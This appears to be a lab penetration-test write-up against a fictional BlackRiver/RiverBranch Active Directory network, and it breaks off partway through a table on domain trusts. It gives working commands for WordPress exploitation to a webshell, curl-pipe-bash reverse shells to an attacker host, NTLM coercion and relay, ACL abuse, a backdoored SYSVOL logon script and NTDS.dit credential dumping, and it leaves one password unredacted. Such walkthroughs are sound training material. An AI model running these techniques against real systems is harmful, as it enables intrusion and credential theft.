Intro
BlackRiver Technologies is a fast-growing software services company headquartered in Zurich. Founded in 2014, the company provides software development, managed hosting, IT consulting, and infrastructure services to busineses across Europe.
BlackRiver recently acquired RiverBranch solutions, a smaller company. BlackRiver decided to keep both Active Directory environments funtional (rather than full migration).
You have been hired to perform a penetration test against the BlackRiver internal network (which includes the RiverBranch domain). The client has planted flags on sensitive machines - retrieving these flags demonstrates business impact. Initial Access
The client has provided you with VPN access to their internal environment, but no other information.
A wordlist has been provided in case of hashy-cracky fun.
Initial Credentials
We got none.
Enumeration
Quite a few machines in this range.
3 subnets, 2 domains, 1 curious gato. What could possibly go wrong?
Let’s make a pretty little table of all the hosts:
| IP Address | Hostname | OS |
|---|---|---|
| 10.0.0.5 | WEB.blackriver.local | Ubuntu |
| 10.0.1.4 | FILES.blackriver.local | Windows |
| 10.0.1.5 | DC01.blackriver.local | Windows |
| 10.0.1.6 | wkst.blackriver.local | Windows |
| 10.0.2.4 | BR-OPS01.riverbranch.local | Windows |
| 10.0.2.5 | BR-DC01.riverbranch.local | Windows |
| 10.0.2.6 | MGMT01.riverbranch.local | Windows |
The only one we can connec to now is WEB
rustscan --ulimit 5000 -a 10.0.0.5 -- -sCV
Open 10.0.0.5:80
Open 10.0.0.5:22
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee:dd:de:f4:d6:37:1f:a6:7f:7a:89:f1:63:72:c1:29 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPzVqraiFKLRHWqKn6AetBcpiOk1dT69WoHGBGnvHAIFJn2Jr2kiZh2BIVNiKQIGDpMlQB2XlLlq6E0czK6MMbw=
| 256 d1:8c:ba:72:bd:ce:60:fd:04:72:3b:d0:bc:af:87:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOB3i+/CeDrM4bF9IFv9T1/fSnKn2YxWMehk9eEcX5Bd
80/tcp open http syn-ack Apache httpd 2.4.58 ((Ubuntu))
|_http-title: BlackRiver Technologies \xE2\x80\x94 IT & Software Solutions
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Looks like a fairly standard web server. Let’s see what we can find.
WEB
http://10.0.0.5 or http://web.blackriver.local is a generic corporate site.
WORDPRESS
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -u http://10.0.0.5
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
wordpress (Status: 301) [Size: 308] [--> http://10.0.0.5/wordpress/]
The wordpress site has 5 posts:
- Active Directory Hardening - Best Practices for Mid-Sized Companies
- The Dangers of SMB Relay Attacks - How to Protect Your Network
- Zero Trust Security Model - A Modern Approach to Cybersecurity
- Cloud Security Best Practices for Mid-Sized Companies
- Incident Response Plan - A Guide for Mid-Sized Companies
wpscan shows this is version 6.9.4 and has some potentially serious vulnerabilities with known CVEs.
wpscan --url http://web.blackriver.local/wordpress/ --api-token $WPSCAN_API_TOKEN --enumerate ap,u,t --random-user-agent -v
Interesting Finding(s):
[+] WordPress version 6.9.4 identified (Insecure, released on 2026-03-11).
| - http://web.blackriver.local/wordpress/, Match: 'WordPress 6.9.4'
| [!] 25 vulnerabilities identified:
|
| [!] Title: WP < 7.0.2 - Facilitated SQLi
| UUID: 82a6c423-547b-4910-aea5-044070b08949
| Fixed in: 6.9.5
| References:
| - https://wpscan.com/vulnerability/82a6c423-547b-4910-aea5-044070b08949
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60137
| - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
|
| [!] Title: WordPress < 7.0.2 - REST API batch-route confusion and SQLi to RCE
| UUID: 73310d64-e790-4a78-ab0a-12995b762dba
| Fixed in: 6.9.5
| References:
| - https://wpscan.com/vulnerability/73310d64-e790-4a78-ab0a-12995b762dba
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63030
| - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
Two CVEs: CVE-2026-60137 and CVE-2026-63030 are combinable for SQL injection and Remote Code Execution.
Access as www-data
An excellent PoC is available on GitHub: wp2shell-poc
Using that code to check the site and confirm the vulnerability:
git clone https://github.com/Icex0/wp2shell-poc.git
cd wp2shell-poc && uv sync
uv run wp2shell check http://web.blackriver.local/wordpress --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.4 via HTML generator meta (wp2shell affected range) - WordPress 6.9.4
[!] A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[+] SQLi confirmed — UNION fake-post read returned data.
With that confirmed, we can attempt to get RCE. Using the PoC in shell mode, it will attempt to upload a webshell to the site. If no credentials are supplied, it will use one of the vulnerabilities to create an administrator account.
uv run wp2shell shell http://web.blackriver.local/wordpress --cmd whoami
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_1d04e967eb1f
[+] email: wp2_1d04e967eb1f@wp2shell.invalid
[+] password: Wp2!-qdZ_0ApDdJSAMUnH4Av
[*] Authenticating as 'wp2_1d04e967eb1f'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://web.blackriver.local/wordpress/wp-content/plugins/wp2shell_29bde99e/wp2shell_29bde99e.php
www-data
Shell time!
Pick your listener, pick your favorite revshell code, and get a shell as www-data user.
uv run wp2shell shell http://web.blackriver.local/wordpress --cmd 'curl 192.168.211.2/sh/rev.sh|bash'
Pretty quickly I see a request to my server and then the listeners light up. I have a shell and a backup shell as www-data user.
[GIN] 2026/10/02 - 10:21:14 | 200 | 1.33556ms | 10.0.0.5 | GET "/sh/rev.sh"
rlwrap -cAr nc -lvnp 8445
Listening on 0.0.0.0 8445
Connection received on 10.0.0.5 46348
www-data@WEB:/var/www/html/wordpress/wp-content/plugins/wp2shell_1fc35fac$
Since it’s wordpress, I’m going straight for the database creds. I can find them in wp-config.php:
www-data@WEB:/var/www/html/wordpress/wp-content/plugins/wp2shell_1fc35fac$ cat /var/www/html/wordpress/wp-config.php | grep DB
define( "DB_NAME", "wp_lab" );
define( "DB_USER", "wpuser" );
define( "DB_PASSWORD", "[REDACTED]" );
define( "DB_HOST", "localhost" );
define( "DB_CHARSET", "utf8mb4" );
Nice, let’s see what’s in there. I can use mysql to read the wp_users table and get the hashes for the users.
mysql -u wpuser -p -e "SELECT ID, user_login, user_email, user_pass FROM wp_lab.wp_users;"
Enter password: [REDACTED]
+----+------------+---------------------------+-----------------------------------------------------------------+
| ID | user_login | user_email | user_pass |
+----+------------+---------------------------+-----------------------------------------------------------------+
| 1 | wp_admin | j.ryan@blackriver.local | [REDACTED] |
| 4 | steven | s.miller@blackriver.local | [REDACTED] |
+----+------------+---------------------------+-----------------------------------------------------------------+
Would you look at that, 2 users and both have e-mails that match the domain.
Let’s use the provided wordlist to crack the hashes. I can use hashcat for this.
hashcat -a 0 wphashes.txt wordlist.txt
$wp$2y$10[SNIPPED]:[REDACTED]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 35500 (Wordpress bcrypt(hmac-sha384($pass)))
From here, you can do several things. I never take the easy because I like to make things annoyingly hard.
Options:
sshass.miller@blackriver.localwith the cracked password.- Stay as
www-data, continuing enumeration and pivoting to other machines.
You can guess which one I chose the first time around, but option 1 is easier.
Access as s.miller
BLACKRIVER.LOCAL\s.miller I was so excited to have domain credentials that I ran straight to that, which would come back to haunt me.
What I SHOULD have done first is thoroughly enumerate the web box and I would have seen:
s.miller@WEB:~$ find /etc -type f -name "*.keyt*" 2>/dev/null
/etc/krb5.keytab
/etc/c.stones.keytab <-- I missed this the first time aroundBut we can’t read it yet and I have absolutely no idea who c.stones is or what they can do, so let’s try to find out.
I’m a ligolo-ng guy for pivoting, so I set up my agent on the web box and get it connected back to me so I can use it to access the 10.0.1.0 subnet.
# my machine
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -laddr 0.0.0.0:6447 -selfcert
# web machine
curl 192.168.211.2/l/agent -o /tmp/agent
chmod +x /tmp/agent
/tmp/agent -connect 192.168.211.2:6447 -ignore-cert & disown
# add the route either through ligolo or in the terminal
sudo ip route add 10.0.1.0/24 dev ligolo
Great, now we can validate s.miller credentials and get a krb5.conf file while we’re at it.
nxc smb dc01.blackriver.local -d blackriver.local -u s.miller -p [REDACTED] --generate-krb5-file krb5.conf
SMB 10.0.1.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:blackriver.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.0.1.5 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.0.1.5 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.0.1.5 445 DC01 [+] blackriver.local\s.miller:[REDACTED]
BLACKRIVER.LOCAL\s.miller While rustscan does it’s thing on the machines in the subnet, we can do 2 things:
- Try to get data for Bloodhound
- Check the machines for file shares.
bloodhound-ce-python, bloodyAD, rusthound-ce all worked on this machine. Pick one.
bloodhound-ce-python -c All -d blackriver.local -u s.miller -p [REDACTED] -dc dc01.blackriver.local -ns 10.0.1.5
rusthound-ce --kerberos -f dc01.blackriver.local -d blackriver.local -o . -z -n 10.0.1.5 -p [REDACTED] -u s.miller
bloodyAD --host $DC -d $DOMAIN -u s.miller -p [REDACTED] get bloodhound
Which shows us some very nice permissions on both Linux Users OU and j.ryan account.
Using bloodyAD we can see that s.miller has something very useful in this very particular situation.
bloodyAD --host $DC -d $DOMAIN -u s.miller -k get writable
distinguishedName: OU=Linux Users,DC=blackriver,DC=local
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE
distinguishedName: CN=j.ryan,OU=Linux Users,DC=blackriver,DC=local
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE
Shares
crawlofduty -k --host dc01.blackriver.local -d $DOMAIN -u s.miller -k --no-pass -r --yolo
# snipped out the normal stuff
[INFO] Downloaded (SYSVOL/blackriver.local/scripts/Hamilton/welcome.bat)
[INFO] Downloaded (NETLOGON/Hamilton/welcome.bat)
crawlofduty -k --host files.blackriver.local -d $DOMAIN -u s.miller -k --no-pass -r --yolo
# now this is interesting
YOU CAN'T EVEN SEE THESE FOLDERS :(
Backup\\*
MAYBE SOMETHING INTERESTING TO READ HERE?
Shared\
Shared\Finance
Shared\IT
[INFO] Downloaded (Shared/README.txt)
[INFO] Downloaded (Shared/Finance/August_Finance_Notes.txt)
[INFO] Downloaded (Shared/Finance/Department_Budget_Status.csv)
[INFO] Downloaded (Shared/IT/August_Maintenance_Notes.txt)
[INFO] Downloaded (Shared/IT/BlackRiver_Network_Topology_and_IT_Responsibilities.pdf)
[INFO] Downloaded (Shared/IT/IT_Operations.txt)
[INFO] Downloaded (Shared/IT/Logon_Script_Operations.txt)
[INFO] Downloaded (Shared/IT/Systems_Inventory.txt)
Really useful information in those documents to be filed away for later.
Shared/August_Maintenance_Notes.txt talks about a planned system state backup:
Backup Operations:
The Backup Task Operators team is responsible for the scheduled System State backup of DC01.
The System State backup includes:
- Active Directory Database (NTDS.dit)
- Registry Hives (SYSTEM, SECURITY, SOFTWARE, SAM, DEFAULT)
- SYSVOL (Group Policies and Scripts)
Backup data is transferred to the designated internal storage location on FILES:
\\FILES.blackriver.local\Backup\DC01\System_State_[Timestamp]
Shared/IT_Operations.txt tells us:
FILESserver administration is handled bys.gomezlinux_deployshare is for Linux deployment tasks.
Shared/Logon_Script_Operations.txt:
SupportOperationsgroup has control over user logon scripts underSYSVOLon the domain controller.- An example is shown for user
Hamilton->d.hamiltonthat is a batch file connecting an internal share onFILES.
Shared/BlackRiver_Network_Topology_and_IT_Responsibilities.pdf contains these:
Of note: c.stones is “Responsible for Linux systems. Has upload access to the linux-deploy share used for Linux deployment and maintenance files.”
A lot to unpack there and a deep-dive coming soon, but let’s get root first.
We have a Linux machine. We have CREATE_CHILD on an Active Directory OU. We have ksu on the web machine. There’s another piece we can’t always know at this point and I’ll come back to that. Oh and there’s a keytab we really want on the other side of root.
If I’m right, we should be able to add a new account into the Linux Users OU with the name root and through a wonderful series of misinterpretations, we’ll end up as root on the web box.
Fastest way to do this is with bloodyAD:
bloodyAD --host $DC -d $DOMAIN -u s.miller -k add user root '[REDACTED]' --ou 'OU=Linux Users,DC=blackriver,DC=local'
slower manual method
# This part was from my machine
# start out disabled so we can properly set the password
cat > /tmp/woot.ldif << 'EOF'
dn: CN=root,OU=Linux Users,DC=blackriver,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: root
sAMAccountName: root
userPrincipalName: root@blackriver.local
userAccountControl: 514
EOF
ldapadd -Y GSSAPI -H ldap://dc01.blackriver.local -f /tmp/woot.ldif
# unicodePwd needs password utf-16le and base64
python3 -c "
import base64
pwd = '\"[REDACTED]\"'.encode('utf-16-le')
open('/tmp/setpass.ldif','wb').write(b'''dn: CN=root,OU=Linux Users,DC=blackriver,DC=local
changetype: modify
replace: unicodePwd
unicodePwd:: ''' + base64.b64encode(pwd))
"
ldapmodify -Y GSSAPI -H ldap://dc01.blackriver.local -f /tmp/setpass.ldif
# enable the account
cat > /tmp/enable.ldif << 'EOF'
dn: CN=root,OU=Linux Users,DC=blackriver,DC=local
changetype: modify
replace: userAccountControl
userAccountControl: 512
EOF
ldapmodify -Y GSSAPI -H ldap://dc01.blackriver.local -f /tmp/enable.ldif
Then in whatever session you have on WEB
s.miller@WEB:~$ kinit root@BLACKRIVER.LOCAL
Password for root@BLACKRIVER.LOCAL:
Warning: Your password will expire in less than one hour on Tue 14 Sep 2100 02:48:05 AM UTC
s.miller@WEB:~$ ksu root
Authenticated root@BLACKRIVER.LOCAL
Account root: authorization for root@BLACKRIVER.LOCAL successful
Changing uid to root (0)
root@WEB:/home/BLACKRIVER/s.miller# whoami
root
root@WEB:/home/BLACKRIVER/s.miller# id
uid=0(root) gid=0(root) groups=0(root),10001(BUILTIN\users),20513(domain users),23601(root)
WEB as root —> user flag FILES
Access as c.stones
Rabbit holeI missed the other keytab30m
I didn’t see the c.stones.keytab the first time around so I went messing around with j.ryan and didn’t really get anywhere.
So I went back and re-enumerated and it was right in front of my face.
We can read it now.
keytabextract can help us out here
keytabextract c.stones.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : BLACKRIVER.LOCAL
SERVICE PRINCIPAL : c.stones/
AES-256 HASH : [REDACTED]
impacket-getTGT 'BLACKRIVER.LOCAL/c.stones' -aesKey [REDACTED]
[*] Saving ticket in c.stones.ccache
BLACKRIVER\c.stones c.stones is a member of CN=Linux Deployment Operators,CN=Users,DC=blackriver,DC=local
bloodyAD --host $DC -d $DOMAIN -u s.miller -k get object c.stones | grep "memberOf:"
memberOf: CN=Linux Deployment Operators,CN=Users,DC=blackriver,DC=local
We previously saw that other users were connecting to the file share, so let’s put something there and maybe get an NTLM hash.
Typically I would use ntlm_theft but it’s not been successful on Windows 2025. We can use the slinky module in netexec
IMPORTANT Before we do this, we need to make sure that traffic on the right ports can reach us through WEB.
I reloaded ligolo-agent as root on WEB so I’d have access to all ports and turned off smbd and nmbd
systemctl stop smbd nmbd
systemctl mask smbd nmbd
systemctl disable --now smbd nmbd
Then we can forward port 445 traffic coming from the 10.0.1.0/24 subnet to our machine
listener_add --addr 10.0.0.5:445 --to 192.168.211.2:445
Access as s.gomez
Set up responder
sudo responder -i tun0
then we can use slinky
nxc smb files.blackriver.local -d blackriver.local -u c.stones -k --use-kcache -M slinky -o SERVER=10.0.0.5 SHARE=linux-deploy NAME=gato
[SNIPPED]
SMB files.blackriver.local 445 FILES linux-deploy READ,WRITE Writable by Linux Deployment Operators
SMB files.blackriver.local 445 FILES Shared READ
SLINKY files.blackriver.local 445 FILES [+] Found writable share: linux-deploy
SLINKY files.blackriver.local 445 FILES [+] Created LNK file on the linux-deploy share
Almost immediately, but sometimes as long as 2-3 minutes we get a response!
[SMB] NTLMv2-SSP Client : 192.168.211.2
[SMB] NTLMv2-SSP Username : BLACKRIVER\s.gomez
[SMB] NTLMv2-SSP Hash : s.gomez::BLACKRIVER:b9535c4f12f5ed51:[SNIPPED]
from s.gomez??
Except that s.gomez is a member of Server Administrators and IT Operations which makes this much cooler.
BUUUUTTTT…the hash isn’t crackable
Back on the Wordpress blog, one of the posts was titled: The Dangers of SMB Relay Attacks - How to Protect Your Network.
What’s the saying? Every accusation is an admission. So why not right?
Access as FILES\Administrator
sudo ntlmrelayx.py -t smb://10.0.1.4 -smb2support
If there’s not a hit on the relay pretty quickly, you may need to re-run netexec with the slinky module
[*] (SMB): Received connection from 192.168.211.2, attacking target smb://10.0.1.4
[*] (SMB): Authenticating connection from BLACKRIVER/S.GOMEZ@192.168.211.2 against smb://10.0.1.4 SUCCEED [1]
Administrator:500:[REDACTED]:::
Pick your preferred connection method.
Wait…doesn’t this machine get the DC01 backup?!
evil-winrm-py PS C:\Shares\Backup> cmd /c dir /a /s
Volume in drive C is Windows
Volume Serial Number is 7EC2-1A39
Directory of C:\Shares\Backup
08/09/2026 04:33 PM <DIR> .
08/09/2026 02:35 PM <DIR> ..
0 File(s) 0 bytes
and…it’s empty.
I spent a lot of time looking around on this machine and turned on RDP for myself to make it easier. Still didn’t find anything.
There is another user on this computer a.bonez but I never used them.
secretsdump will give us s.gomez password and it is valid
impacket-secretsdump administrator@files.blackriver.local -hashes [REDACTED]
[*] Dumping cached domain logon information (domain/username:hash)
BLACKRIVER.LOCAL/s.gomez:[REDACTED]
BLACKRIVER.LOCAL/a.bonez:[REDACTED]
[SNIPPED]
[*] DefaultPassword
BLACKRIVER\s.gomez:[REDACTED]
BLACKRIVER\s.gomez Access as r.martinez
Rabbit holeNot a tooling issue
I went around in circles for a while here a while. My goal was to get to be able to write to the scripts folder on SYSVOL.
That would let me update d.hamilton script. d.hamilton is a member of Backup Task Operators and I really want that System State Backup mentioned in the shared folder.
Support Operations group has the control we need. Only f.bruce is a member. IT Support Users has ForceChangePassword on f.bruce and a few others.
Everything seemed to be circular but all roads lead to r.martinez who has WriteOwner on IT Support Users.
s.gomez is an administrator on WKST.blackriver.local.
nxc smb wkst.blackriver.local -u s.gomez -p 'X~D:)a/C+sIof-`1}j6"'
SMB 10.0.1.6 445 WKST [*] Windows 11 / Server 2025 Build 26100 x64 (name:WKST) (domain:blackriver.local) (signing:False) (SMBv1:False)
SMB 10.0.1.6 445 WKST Node WKST.BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB 10.0.1.6 445 WKST Node S.GOMEZ@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB 10.0.1.6 445 WKST [+] blackriver.local\s.gomez:X~D:)a/C+sIof-`1}j6" (Gatito!)
I spent too much time screwing around in RDP on this one.
Oh and here’s some useful info:
if TermService is running:
evil-winrm-py PS C:\Users\s.gomez\Documents> Get-Service TermService
Status Name DisplayName
------ ---- -----------
Running TermService Remote Desktop Services
but no port shows as open internally:
evil-winrm-py PS C:\Users\s.gomez\Documents> netstat -ant | findstr 3389
...crickets
and rdp-tcp doesn’t show up here:
evil-winrm-py PS C:\Users\s.gomez\Documents> cmd /c qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console s.gomez 1 Active
Check this registry key
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections REG_DWORD 0x1
Value of 1 here DISABLES RDP. If you change it to 0, you will see rdp-tcp show up in qwinsta and also see the port in netstat.
Completely unnecessary to do this, but worth saving.
Anyway, SharpDPAPI wasn’t showing me much, but netexec for the win:
nxc smb wkst.blackriver.local -u s.gomez -p [REDACTED] --dpapi
SMB 10.0.1.6 445 WKST [*] Windows 11 / Server 2025 Build 26100 x64 (name:WKST) (domain:blackriver.local) (signing:False) (SMBv1:False)
SMB 10.0.1.6 445 WKST Node WKST.BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB 10.0.1.6 445 WKST Node S.GOMEZ@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB 10.0.1.6 445 WKST [+] blackriver.local\s.gomez:[REDACTED] (Gatito!)
[s.gomez][CREDENTIAL] LegacyGeneric:target=backup.blackriver.local- r.martinez:[REDACTED]
Those creds are valid for r.martinez
nxc smb dc01.blackriver.local -d blackriver.local -u r.martinez -p [REDACTED]
SMB 10.0.1.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:blackriver.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.0.1.5 445 DC01 Node R.MARTINEZ@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB 10.0.1.5 445 DC01 [+] blackriver.local\r.martinez:[REDACTED]
BLACKRIVER\r.martinez Access as f.bruce
Pretty straightforward at this part, let’s add ourselves as the owner of IT Support Users
bloodyAD --host $DC -d $DOMAIN -u r.martinez -p [REDACTED] set owner 'CN=IT Support Users,CN=Users,DC=blackriver,DC=local' r.martinez
[+] Old owner S-1-5-21-1442656047-993108804-857766263-512 is now replaced by r.martinez on CN=IT Support Users,CN=Users,DC=blackriver,DC=local
then we give ourselves GenericAll
bloodyAD --host $DC -d $DOMAIN -u r.martinez -p [REDACTED] add genericAll 'CN=IT Support Users,CN=Users,DC=blackriver,DC=local' r.martinez
[+] r.martinez has now GenericAll on CN=IT Support Users,CN=Users,DC=blackriver,DC=local
and now we can add ourselves as a member of the group to gain the ForceChangePassword on f.bruce
bloodyAD --host $DC -d $DOMAIN -u r.martinez -k add groupMember 'CN=IT Support Users,CN=Users,DC=blackriver,DC=local' r.martinez
[+] r.martinez added to CN=IT Support Users,CN=Users,DC=blackriver,DC=local
bloodyAD gave an error here, but net rpc password ... or going into rpcclient worked fine.
# rpcclient
rpcclient -U "BLACKRIVER.LOCAL/r.martinez" dc01.blackriver.local
setuserinfo2 [REDACTED] 23 f.bruce
# net rpc
net rpc password "f.bruce" -U "BLACKRIVER.LOCAL/r.martinez" -S dc01.blackriver.local
Enter new password for f.bruce:
Password for [BLACKRIVER.LOCAL\r.martinez]:
nxc smb dc01.blackriver.local -d blackriver.local -u f.bruce -p [REDACTED]
SMB 10.0.1.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:blackriver.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.0.1.5 445 DC01 Node F.BRUCE@BLACKRIVER.LOCAL successfully set as owned in BloodHound
SMB 10.0.1.5 445 DC01 [+] blackriver.local\f.bruce:[REDACTED]
BLACKRIVER\f.bruce DC01
Access as d.hamilton
Earlier we learned that members of SupportOperations can modify the scripts folder on SYSVOL and f.bruce is the only member of that group.
We need to get to d.hamilton and as luck would have it, that account is also the example we were shown earlier.
Let’s amend that welcome.bat and add a little test in there, just before the REM Map company shared drive comment I added
I added a listener to the agent on WEB that would redirect to my http server.
curl 10.0.0.5:8080/test
then with f.bruce
smbclient "//dc01.blackriver.local/SYSVOL" -U "$DOMAIN\\f.bruce"
smb: \blackriver.local\scripts\Hamilton\> put welcome.bat
and we get a response quickly.
[GIN] 2026/10/02 - 13:54:40 | 200 | 193.088µs | 192.168.211.2 | GET "/test"
Great, now let’s get real access.
I’m just using a powershell -e ... revshell for now. I replaced the curl ... command in the welcome.bat and re-uploaded it. We get a connection pretty quick.
rlwrap -cAr nc -lvnp 8445
Listening on 0.0.0.0 8445
Connection received on 192.168.211.2 55416
PS C:\Windows\System32> whoami /all
User Name SID
===================== ============================================
blackriver\d.hamilton S-1-5-21-1442656047-993108804-857766263-1119
PS C:\Windows\System32> hostname
DC01
BLACKRIVER\d.hamilton Access as Administrator
d.hamilton is a member of Backup Task Operators who can trigger the backup job that will put the system files on FILES in the Backup folder.
In C:\BlackRiverBackup.xml there is a definition file for a scheduled task
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Description>Validates and copies DC user profile data to the central FILES backup repository.</Description>
<URI>\BlackRiver Backup Validation</URI>
<SecurityDescriptor>D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;GRGX;;;S-1-5-21-1442656047-993108804-857766263-1124)</SecurityDescriptor>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
</Settings>
<Triggers />
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-NoProfile -ExecutionPolicy Bypass -File "C:\Users\Administrator\AppData\Local\BlackRiver\BackupUsers.ps1"</Arguments>
</Exec>
</Actions>
</Task>
The <SecurityDescriptor> is very helpful:
<SecurityDescriptor>D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;GRGX;;;S-1-5-21-1442656047-993108804-857766263-1124)</SecurityDescriptor>
(A;;GRGX;;;S-1-5-21-1442656047-993108804-857766263-1124) decodes to:
ACCESS_ALLOWED
S-1-5-21-1442656047-993108804-857766263-1124 -> Backup Task Operators
GRGX -> Generic Read + Generic Execute
As a member of that group, we should be able to trigger that scheduled task to run.
PS C:\Windows\System32> schtasks.exe /run /tn:"BlackRiver Backup Validation"
SUCCESS: Attempted to run the scheduled task "BlackRiver Backup Validation".
SIMULTANEOUSLY Use s.gomez or administrator to log back on to FILES so that we can get the backup off the share
Takes a minute, but the DC01 folder will show up in C:\Shares\Backup
evil-winrm-py PS C:\Windows\Temp\DC01> cmd /c dir /a C:\Shares\Backup\DC01\System_State_20261002_190943\
Volume in drive C is Windows
Volume Serial Number is 7EC2-1A39
Directory of C:\Shares\Backup\DC01\System_State_20261002_190943
10/02/2026 07:10 PM <DIR> .
10/02/2026 07:10 PM <DIR> ..
10/02/2026 07:10 PM <DIR> Active Directory
10/02/2026 07:10 PM <DIR> Registry
10/02/2026 07:10 PM <DIR> SYSVOL
Active Directory\NTDS.dit, Registry\SECURITY, and Registry\SYSTEM were copied down to my machine.
we can get everything from there:
impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
[*] Target system bootKey: 0xfb94cc6281682c615544fe42e8f31a1c
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):[REDACTED] <-- `d.hamilton` credentials
Administrator:500:[REDACTED]
BLACKRIVER\administrator Get the flag, but we’re not done yet.
RIVERBRANCH.LOCAL
Access with j.torrance
Now we can really dig into the trust relationship
evil-winrm-py PS C:\Users\Administrator\Documents> Get-AdTrust -Filter *
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=riverbranch.local,CN=System,DC=blackriver,DC=local
ForestTransitive : True
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : riverbranch.local
ObjectClass : trustedDomain
ObjectGUID : 7188f82b-c64a-44f3-87a0-fbcc5a721606
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=blackriver,DC=local
Target : riverbranch.local
TGTDelegation : False
TrustAttributes : 8
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
Deep diveAre we too trusting?optional
This is an Active Directory trustedDomain object describing the trust between blackriver.local and riverbranch.local.
The most important fields are the ones describing direction, transitivity, authentication scope, SID filtering, and Kerberos behavior.
| Attribute | Your value | Meaning |
|---|---|---|
| Direction | BiDirectional |
Both domains trust each other. Accounts from either side can potentially authenticate to resources in the other, subject to permissions and other trust controls. |
| DisallowTransivity | False |
The trust has not been explicitly marked non-transitive. This field is essentially a restriction flag. |
| DistinguishedName | CN=riverbranch.local,CN=System,DC=blackriver,DC=local |
LDAP location of the trustedDomain object. Importantly, this object exists inside blackriver.local and describes its relationship with riverbranch.local. |
| ForestTransitive | True |
This is a forest trust, rather than a simple external trust. Trust can therefore extend across domains belonging to the two forests, subject to the trust’s configuration. |
| IntraForest | False |
The two domains are not members of the same AD forest. |
| IsTreeParent | False |
riverbranch.local isn’t the parent of blackriver.local in the same AD DNS namespace/tree. |
| IsTreeRoot | False |
This isn’t an automatically established same-forest tree-root relationship. |
| Name | riverbranch.local |
Name of the trusted domain/forest represented by this TDO. |
| ObjectClass | trustedDomain |
Confirms this is an AD Trusted Domain Object (TDO). |
| ObjectGUID | 7188... |
